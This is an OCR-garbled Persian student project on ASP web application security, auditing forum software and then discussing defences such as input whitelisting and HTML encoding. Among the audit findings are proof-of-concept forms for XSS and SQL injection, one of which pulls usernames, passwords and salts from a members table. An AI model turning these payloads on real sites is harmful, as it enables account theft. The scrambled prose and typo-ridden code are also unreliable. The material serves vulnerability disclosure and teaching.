Al ool iy o] M Las oyl 05 oo il o0l oS3y 5 s

Y'Y L

vAlert(AL Message) = trim(request.form("reason"))

b 5o ol jo gl e 48,5 IS & Include-alerts.asp L6 ,o CreateAlert() ;o a5

D9 oo Sbylas oS ¢l > 5l £l ValidateNumeric()

alert-list.asp -
AY L

iAlertType = BBS.ValidateNumeric(request.querystring("type"))
D¢ co Sbyhas oS 09,9 5| &l ValidateNumeric() ob 55 bl 5o

alert-view.asp -
NF L
vAlert = Alerts.GetAlertInfo(request.querystring("id"))

qy



.category-view.asp -
XY oYV Lo
1CategorylD = BBS.ValidateNumeric(request.querystring("cat"))
F) o ¥ L
iCatLock = BBS.ValidateNumeric(request.querystring("catlock"))
FA las

bCategoryCollapsed = BBS.ValidateBoolean(request.cookies(sBBSCookieRoot & "cat"
& vCategoryList(0, index) & "collapsed"))

5L oo pdy cww! 55 ValidateBoolean() «b

forgot-password.asp -
N L

vUserInfo = BBS.GetUserInfobyName(request.form("username"))
JLs 4 wbinclude.asp LB ;o a5 098 oo pylre GetUserInfobyName() b Jlss «

b Loy b e 05 oo ods &S ,eb e b GetMemberID() b
A.mla QS'QJ ).’d..: WT o W) J)....S wl.e(- Be ValldateSQL()
Y Lo

rsMaster.open "select memberid from members where emailaddress="" &
BBS.ValidateSQL(trim(request.form("email"))) & """, dbConnection,
adOpenForwardOnly, adLockReadOnly

af



inbox.asp -
AY L

sFolderType = request.querystring("folder")
2l a5 W pelys oS wyp b 1, ValidateField() &b sFolderType i Jlis «

2 Gy el S o il 050 o0 XSS ales cel &S 1) Sl STlS eled &b
3,105 0929 x|
¥ s
ipmid = BBS.ValidateNumeric(request.querystring("view"))
¥F L
for each ipmid in request("pmid")

&S i (o0 3 0S5 0 oy |, GetPrivateMessage() ol oS oo JLio |, ipmid e
5 deletePrivateMessage() sl 0,90 10 jsb ot Cans pdy camwl sae JyuS o @

ol golo oS> ol deleteSentPrivateMessage()

Jlogon.asp -
AALBVY L

sPostUsername = request.form("postusername")
sPostPassword = ucase(request.form("postpassword"))
sPostVerification = request.form("postverification")
sRedirect =request.querystring("redirect")
sAction = request.form("action")

sPasswordAction = request.querystring("password")
w05 o al lax job a b yuie ol Jlos @

10



sl 5 el ol GetUserInfoByName(),CheckUsername() wlss ,o sPostUsername
2 &S 9,5 oo SBBSUsername JLss 4 . SBBSUsername = sPostUsername

= Jo5 ValidateSQL() L aws, 56 b ol 0 (AY L3) col ol UpdateLocation

PUCIRUDN Y BPS TR CRUIIN [PUEL gy A UeR [ PRV NI

register-accept.asp -
XYY B YY bl

vUserInfo(UL _Username) = left(trim(request.form("username")), 20)
vUserInfo(UI Password) = left(trim(request.form("password")), 20)
vUserInfo(UI Realname) = left(trim(request.form("realname")), 50)
vUserInfo(Ul _WebsiteAddr)= left(trim(request.form("websiteaddr")), 75)
vUserInfo(Ul EmailAddr) = left(trim(request.form("emailaddr")), 75)
vUserInfo(UI_ICQNumber) = left(trim(request.form("icqnumber")), 15)
vUserInfo(UI AIM) = left(trim(request.form("aim")), 75)
vUserInfo(UL_ MSN) = left(trim(request.form("msn")), 75)
vUserInfo(Ul_Yahoo) = left(trim(request.form("yahoo")), 75)

o el e g wnl o L5 a4 CreateUser() ,o Lol a5 sas oo olis b 4 5,50,
D9 oo Sbylas oS gl 5l &ile SQLTrIm()
FY L

sPostVerification = trim(request.form("postverification"))

15



reset-password.asp -
AY L

vUserInfo = BBS.GetUserInfobyName(request.form("username"))

e pdy ] GetUserInfobyName() 45 000 U3

send-private-message.asp -
XY L

vReplyMessagelnfo = Messenger.GetPrivateMessage(request.querystring("replyid"))

Ngh oo JyuS slael a5 > s pdy el GetPrivateMessage() e (o
) L

vMessagelnfo(PM_ToName) =
BBS.GetUserInfobylD(request.querystring("toid"))(UI_Username).

(Slael 78 JJs ) o pd ] g 009 ol GetUserInfobyID() b

GetUserInfobyID() L GetPrivateMessage() ;s> ol @ly 5l a5 b,0 o 4 x5

e g o031 9550 58 90,5 a5 o o] 5l ol sods solatul
VO las
vToString = split(request.form("toid"), "|")
e VA b o e (pl &S puin o0
response.write vToString(index) & "<br/>" & CRLF

il oas 0gIN MLE 5,3 a5 89 XSS 55 5l (6 comwl cudgl g ol o Olz Sl o

el 3 S 4 o] €Xploit g o ks sg>g

<form action="send-private-message.asp" method="post">

<input type="hidden" name="action" value="post" />

vy



<input type="text" name="toid" value="<script>alert('XSS")</script>" />
<br />
<input type="submit" name="" value="submit" />

</form>

ﬁ\ 5%’ .E?

vMessagelnfo(PM_Subject) = request.form("subject")
vMessageIlnfo(PM_Body) = request.form("body")

s 8 ] &S Sl aseiie SendPrivateMessage() ob 4 o5 L

:view-group.asp -
Y LS

iGroupID = request.querystring("gid")
iy el Slael J S s & ListGroupMembers() 3 GetGroupName() slss

view-profile.asp -
AY k>

iUserID = BBS.ValidateNumeric(request.querystring("uid"))

(w9, oo Calendar asg élw >

:add-event.asp -
NOGVY L

iCalendarID = request.querystring("calendarid")

A



sAction = request.querystring("action")

iEventID = request.querystring("eventid")
aewy 4 a5 g, o GetCalendarInfo() b « i1CalendarlD e Jlis 4 law

! jo HasPermission() & gw o5 L 045 o cliblxe ValidateNumeric()

2K SACon a4 ST b (80 0939 jiin cwyp lp 5) 80,95 om0 s pdy
e ooyl pdy el Gug 00 05 e (bl jo Laid oS sl (o dzgie ujlaile

20 ol e 098 o owyp OO oue sl GetEventInfo() ,o e 1IEventID _a

AV B AY Lahs g AS L

vEventInfo(CEV_Owner) = request.form("owner")

vEventInfo(CEV _alldayevent) = request.form("alldayevent")
vEventInfo(CEV _timeofdayhour) = request.form("timeofdayhour")
vEventInfo(CEV_timeofdayminute) = request.form("timeofdayminute")
vEventInfo(CEV _timeofdaymeridian)= request.form("timeofdaymeridian")

vEventInfo(CEV_AllowSignups) = request.form("allowsignups")
3 Sl oS o o5 CreateEventInfo() 4 w9, o si> VEventlnfo Jis 4 Jb>

s 3 ] il S FilterPost()

.calendar-view.asp -
AY L

iCAcalendarid = request("calendarid")

ik pdy ! HasPermission() ¢ GetCalendarInfo() L& Jie a5 owio oo

19



forums asq

alert-post.asp -
APNEES

vMessagelnfo = Forum.GetMessagelnfo(request("mid"))
QS o S | olael GetMessagelnfo() «b

YV L

vAlertInfo(AL Message) = trim(request.form("message"))
oS 1> i XSS el Sew CreateAlert() ob a5 04 o aseino VAlertInfo Jlso

BBS.ValidateSQL(vAlertinfo(AL Message))

aslp 59, &5 o olidss 0 XSS & 50,5 |, SQL Injection 3 cuwl sol>
S XSSw&MT@)oé)yguﬁ‘&mﬁ&mdop@ At W Cand

2O g

attach-file.asp -
AF L

iMessagelD = request.querystring("mid")
i (o0 VTV b 0 piie (nl 650 L

SQL = "select max(sortorder) as maxsort from attachments where messageid=" &

iMessagelD
Oal g ool AcCESS Lo Luwlus a5 ol ams o olis |, SQL Injection sty a5

5 Lol 0" ooliis] (g 3y o] ] 51 el atlyss Litalns g )l ol 1) Canslgs o iz (gl



3,5 medlem gy pia |y BBl I 0l o ab,e 38 MSSQL ol saisS adgi Coluw

(g pien) 35 (5 23y o]

<form ENCTYPE="multipart/form-data" method="post" action="/forums/attach-
file.asp?action=postupload&amp;mid=[YOUR MSG ID]&amp;attachmentid= or
I=convert(int,(select top 1 username%?2bpassword%?2bsalt from members where
username<>"))">

File : <input type='file' name="attachment' size='40">

<br />

<input type='submit' value='"Submit™>

</form>

.email-link.asp -
Y LY. Lghs

sFromName = request.form("fromname")
sRecipient = request.form("recipient")

sFromAddress = request.form("fromaddress")
0 Do Slles G 9 Wigd (o0 (owyp bl (pl &5 s peales Lo e al oS Lo L
Wb 4SS pl @ aelp opl e a5 SO lexe a0 Ll o los SQL Injection 4 XSSy o4
L 0,5 ohles 1y ol Jusal wyol S olg5 oo email-link.asp L alwg 4 45 5,5 o Ll
Sylad L)l o Shogase aS
b s 4 ol 5l e Codgame g5, 5l oo a0 Ll ol cgplie 5 o L (oYL pm S @
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J/profile/controlpanel.asp -

X B YOV Lyks
o (639,9 soles

(gl o S Sl Sl 5l 5 polie e o UpdateUser() b 4 oS5 L

SQL = SQL & " timeoffset=" & vUpdateUserInfo(Ul TimeOffset) & ", "
SQL = SQL & " invisible=" & vUpdateUserInfo(UI Invisible) & ", "

5970 peindlys o g Og1 00les sl IS 55 MSSQL 510505 Iy 1) o 6000 ]

<form method="post' name="updateprofile' action="/profile/controlpanel.asp™
Injectionl (Numeric Update):<input type="text" name="invisible" value="1" /><br />
Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" /><br />
<input type="hidden" name="action" value="updateinfo" />

<input type="hidden" name="showemail" value="1" />

]

<input type="hidden" name="usesignature" value="1" />

<input type="hidden" name="viewsignature" value="1" />

<input type="hidden" name="disablepostcount" value="1" />
<input type="hidden" name="userichedit" value="1" />

<input type="hidden" name="emailnotifications" value="1" />
<input type="hidden" name="sendprivatenotifications" value="1" />

—n

<input type="hidden" name="includebody" value="1" />
<input type="hidden" name="language" value="1" />

<input type="hidden" name="disallowbroadcasts" value="1" />
<input type="hidden" name="viewavatars" value="1" />
<input type="submit" />

</form>

ot e Gl el gm0 ) W3l 3lE S e Sezme 4 &5 olal> admin asg, >
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impersonate.asp -
AY L

sRedirect = request.querystring("redirect")

:M)L) Y'Y Ja.> )Q 9
response.redirect sRedirect

S S o el Gy el eyl Olsie 4 ) by oal 50 XSS ogzg b (s

el gy JS 4 o1 Exploit
/admin/impersonate.asp?redirect=javascript:alert("XSS')&action=end

Wy (g0 o ooldl @18 5l ) 4 Zug Sl

/includes/include-poll.asp -

AY0 s

SQL = SQL & BBS.ValidateSQL(stOptionStruct(Ol_MemberID)) & ", "
B by 0ais solitwl ©ocade 5l ol Bk g 0 a5 olx 0 s o &5 jshilen

58 ez Ll SQL v p &5 0 oo (603 cwyp b a5 suds bl ValidateSQL()
s STyl | s )5 Caws o ald ol Sl )8

ool 45T SBg U a0 aslol plin sl s pdy o] 05 o lp b e | oIS oyl
oS S,

(6 S azii -V-Y-o

Sley nl 0ed oo Cgmme oYL 08 05 £ 0 a5 Al Gl VO Sldes pl Slws ey Do
aS iles aSST [ Kos g anlip 095 (VU cons Gl (ST sl atils Wil o e g0 SYsb

VoY



: o aodls F.Y

ol 53,5 I 5 olulid al> e 90 50 Letlens 5 g Cov 5005 o asliyy ade Mo
S 5 s O e b 6 o3 caml 50,5 o als e 5l lesdiies dlos £9,08 4> ,0 0l

Syze 4 @lolid Sllas 050 (oo mly Sl 58 1y Gpdy sl 505 oy Jlezo Lol s 0

D)y JolS oz Ul o))l g joim a5 )2 0,5 e plamil (ws 5 5045
SN p B0a )y b dhe dan g olw A Sl 90 0 o s caml 0,5 o sl
Ol S slaas (s sl 0 pS (o plml (Guws 9 093 D90 4 1S e cnl 5l oS e
Sogo a5 aebl atils Slal by o) Ohgtws 4wl wgpdy caml 05 log ©lp (e

el 5 oS addllas o)lgs 1y oliuls asliy laaS wims o pll 1) 555 IS s> 4 oligle

Wi o0 0y Ol 5l plezlee & s e

: oo aslio .0.¥

1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's Handbook
Discovering and Exploiting Security Flaws", Wiley Publishing Inc., 2008
Open Web Application Security Project, http://www.owasp.org
Http://www.bugreport.ir

Http://www.securityfocus.com

A

Http://www.milwOrm.com

\-of



ek Juas

g i (693,15 G aoli (5 3lw (pol (S g (w2
) (8l Cawd Aol 395 (4399 (pol e 9 Sl V¥

S35 n 03y slome el o33l o5 K3 5 T T Sl lawg HTTP JS5g 0 sl ' conlys o
$9y &S Wl oad (Fhb oy ade e Sl 6Tl egae Lis ol asly 3w e
655 ol Ll 555 o 1) oy ODlem cae plml g5l (SlsB L g Wsd (oo eal 0niad gy
ey 5,91 b b g ol sla Cosgame ol e a M 5l 1) 093 Slsl ! 15 o aaly
sy Ll chyyai Sjgo )0 5 8l S92y o eaims gy 5l 55k 5o Wil cea (ISl bLS)|
oDl 5 5u%s 15 oolitol cgus 350 5 ALl Slas IS o3l 4 ailys e 095 blis les day]
b alox b ey glaald )5 cows i) OMox ann gl Wil (o b aelipy cnl ccnl 2
med & ool akis el 5 Aian jle ol )0 EBlax £oi ol 45 Lz Sy it

Dl g9 azg

by b L LIS ol a5 aily oads cbli> g ool agl Loogs Lulul g o daby 5 ol b

il 50 (Ses e (g5

! Request
? Firewall

RN



Gk 5B iy caml Jlio 1o 05 i (53515 aolip Comel ool V.F
ol gldas

b 45 o0 4l 6lo 6y o] b allie Cgr conlio ols > oly audlss oo Caand ol o
S S Glgn oS a3l sk Wi oo adliny 05p0 5 e dy ol b allie apas ail)l e
Bhio 5l a5 ahie gle ars 092 L aS Wiz o cl el TV 00 jeb a4 Gg o (60,1 dali
ples (oo Ladd g mylo Y e Cutel 0870 S ool g (o0 ol 5B oo p g el g 40l
w20 (@Y Sl o 55

:Cross Site Scripting (XSS) L ablic yigy.).Y.F

XSS blas ;o cbli> (ig) oy 055 Jlee BAS (50 j0 Ve b 4 oy e |, XSS
sl oals plas ' )5 5o, odle 4 539,5 sl ools sl “White list™ b3, cuS 5 5l soliul
lo 9,5 0355 30, b g 0,5 ST, OMex lgs (oo (53959 sl 0ald (Gb3,I L asl (oo (29,5
3oy 3l pekiie apdl wlls Az gi 09h (g0 w8 oad &) sla on Sl 389e sl solx
Elgl b oS o SaS 55 XSS slaais 5 amio yuilys el 0,5 Encode jlea bxo! jo 00,8
Sl 1y ales ol sla JS

el 3l JelS 5l 4 5 W9, 512! XSS ales 5l (6,55l sl

w3lail gl b (699,9 soled ;o o laslinl i jliel slo £33l oolanl (b (60959 LU 3y -
5 eoliinl Wgd 03 b oS o ioles o ools aSil 51 L8 Ll 0,5 5,k 5 oS5 gy

&S aib Jeesl g9 5l b > Jesl ol o) “Accept known good” b, g3l

' Encoding
? http://ha.ckers.org/xss.html - http://sla.ckers.org/forum/read.php?2,15812 -
http://sla.ckers.org/forum/read.php?3,880

V.8



3 OB Gl e 8 gla ools (118505 (WLls el pold oS 5 5 0l polB sle ST
st o ools Jolis aililys oo jud Uas slo plig a5 0iST Jhgel 8 .oy slo ool Bd> | 4y 5o
0S5 olael 55 gl d Gy il iine

ssb @ )5 sle ools pled iuled 5l B3 a5 wad rehae da (2955 698 (1955 30 -
Sl Lo Gl s (755 58 @ aty XML o s HTML ;5 g0) axil oud (g5, canlis
e pll a5y sold Cudgame a5 Slpl > b ST eled

ks Encoding | >3 Olxio sl slp (o> ENCOAING g4 (0,8 asine -
Lok ojlxl g WK 18 xS s oiae yo B oS eslanwl (UTF 8 L ISO 8859-1)
S e |, Encoding g jsog5 oxls

5 6959 sl ools o XSS ales Lasis glyp S solaswl “Blacklist” o3yl 5l -
5 "L anle) Swil gla SIS (Sl g i 0SS eslitel ol ol 5l 295
5,5 alax o2 5L XSS L s oo g ol ciands b ("SCIPE" i Sl e b s gl 25115
U5 g caliss el XSS il ool e wlys o bl S 50 "S> onis J8 5 oo
2,5 0,1 le mimliel ol GTL Gy (oo a5 000 0L sla

S8 sl o lailinl 5 laF e, bl b o (5955 il b i )liel gballas Bl 0 -
b So sl i 1) (69559 S 90,5 asliy a5 el relas i (e Ll Al e 4y 4SS
el 59,5 0, jham e9gy9 Lulpd (B p p0 a5 058 Sl wily (oo ballas (pl LSS LIS 5,
Ak oads J STy e sla ools ol 9 905 (LS T5e; 0)bgd i

aslys o ASP L; o :URLENcode ¢ HTMLENcode ;i sslisw! :ASP Lj 4o -

..\...a.S oolau! ).’) u‘)s.s...m) )‘ > ‘5‘>5).’> Q.«.«.)Loa 6‘)’

VoV



Response. Write(Server. HTMLEncode(...))

Response. Write(Server.URLEncode(...))

<%=Server. H-TMLEncode(...)%>
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Response. Write(...)
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Private Function formatSQLInputMormalForm (ByWal strInputEntry)

If strInputEntry="" Or IsMull(strInputEntry) Then Exit Function

strInputEntry = Feplace(strInputEntry, "<, "&lt:™)

strInputEntry = Feplace(strInputEntry, =", "agt:™)

strInputEntry = FEeplace(strInputEntry, "[7, "«#091:™7)

strInputEntry = FEeplace(strInputEntry, "], "«#093:7)

strInputEntry = Feplace(strInputEntry, "--", "sndash;sndash:™, 1, -1, 1}
strInputEntry = Feplace(strInputEntry, "union”, "uns#l05:on™, 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "select’”, "sels#l0l:ct™, 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "join”, "jos#l05:n", 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "where™, "whe#l0l:re™, 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "exec”, "exs#l0l:c", 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "insert’”, "ins<#l0l:rt™, 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "update’™, "ups#l00;ate™, 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "like™, "like#l0Ol:", 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "drop”, "dros#llz:", 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "create’, "cre#lll;ate™, 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "alter™, "alts#l0l:x", 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "cast”, "casz#ll5:t", 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "convert”, "conwe#l0l:rt", 1, -1, 1)
strInputEntry = FEeplace(strInputEntry, "char”™, "chs#97:c", 1, -1, 1}
strInputEntry = Feplace(strInputEntry, "table™, "ts#97:ble™, 1, -1, 1}
strInputEntry = Beplace(strInputEntry, """, "soquot:™", 1, -1, 1)
strInputEntry = Beplace(strInputEntry, ™', "srsquo:™, 1, -1, 1)
strInputEntry = Feplace(strInputEntry, "<!--", "&lt:!'--", 1, -1, 1}
formati3)LInputNormnal Form = strinputEntry

End Punction
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Abstract: This project is about web application security in ASP and JSP.
Basic concepts about web applications and the web languages is discussed in
the first chapter. In the next chapter, core security problems of web
applications and the most important web applications’ vulnerabilities is
mentioned. In the third chapter, with trend of identifying attack steps on web
applications, mapping the application and searching for the vulnerabilities
have been examined. Finally, the last chapter is about protection methods

and hardening against attack operation.

Key words: Security - Vulnerability - Web application - ASP - JSP
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